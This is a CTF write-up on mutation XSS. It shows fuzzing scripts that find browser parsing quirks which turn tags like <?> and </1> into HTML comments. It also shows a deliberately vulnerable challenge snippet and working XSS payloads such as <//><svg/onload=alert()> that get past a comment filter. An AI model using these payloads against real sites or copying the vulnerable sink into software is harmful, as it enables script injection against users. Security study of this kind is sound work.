Uncomment Me

Aperi'CTF 2019 - Web.

Uncomment Me

TL;DR

Using fuzzing to find a html comment mutation, that bypass filter to achieve a XSS.

Introduction

I had the idea of this challenge after another one I created for the Aperi’CTF, TMNT. It was a mutant XSS where it was necessary to get out of a comment. One of the players (Yacine) found an interesting solution, so I decided to continue with what he found.

The first discovery

For TMNT my solution was to use <!> to get out of the comment. Indeed, once mutted, <!> becomes <!---->.

> t = document.createElement('template');
> t.innerHTML = '<!>';
> t.innerHTML
    "<!---->"

Yacine found that it was also possible to have the same behavior but with <?>, which was transformed into <!--?-->.

This seems surprising because according to the W3C a comment must start with the string <!--, but browsers took some liberties.

Let’s go fuzzing

From that moment, I thought that there could surely be other mutations of the same type, so I decided to fuzz. For that I use a LiveOverflow video where it presents a parsing bug in Firefox discovered by Gareth Heyes. I took the code and adapted it to my case:

d = document.createElement('div');
for (i = 0; i <= 0x10ffff; i++) {
    d.innerHTML = '<' + String.fromCodePoint(i) + '-- comment -->';
    if (d.innerHTML.includes('<!')) {
        console.log(i + ' : ' + String.fromCharCode(i))
    }
}

The script will try a set of characters instead of the ! conventionally used in the declaration of an html comment and check if it’s mutted to a comment.

This is the output:

33 : !
47 : /
63 : ?

! is the normal case and ? has already been found, but / is interesting, we will go further with this one.

Slash it

</-- comment --> is mutted to <!---- comment ---->, there is rather strange behavior with the double --. So I wondered if hyphens are mandatory or if it’s possible to use other characters. For that I rewrote a fuzzing script:

d = document.createElement('div');
for (i = 0; i <= 0x10ffff; i++) {
    d.innerHTML = '</' + String.fromCodePoint(i) + ' comment -->';
    if (!d.innerHTML.includes('<!')) {
        console.log(i + ' : ' + String.fromCharCode(i))
    }
}

It outputs all characters that cannot be used after /, and surprisingly there is only a few results: > and a-zA-Z. This result is understandable because a tag of the type </x> will not be mutted because it can correspond to a closing tag. What is more surprising is that it’s therefore possible to use almost any character after the / so that the tag is mutated into a comment.

Examples:

  • </1> -> <!--1-->
  • <//> -> <!--/-->
  • </<> -> <!--<-->

It works in Firefox, Chrome, IE, Edge and Opera.

Challenge

I decided to make a little challenge with this finding.

s = new URL(window.location.href).searchParams.get('s');

if (!s.includes('!') && !s.includes('-')) {
    t = document.createElement('template');
    t.innerHTML = s;
    document.write('<!-- ' + t.innerHTML + ' -->');
}

The first solutions arrived quickly (@Blaklis_, @BitK_ and @garethheyes), but weren’t the ones expected. Here is the type of payload they used: <x x="%26%23x2d;%26%23x2d;%26gt;"><svg/onload=alert()>.

Expected solutions: <?><svg/onload=alert()> and <//><svg/onload=alert()>.

DrStache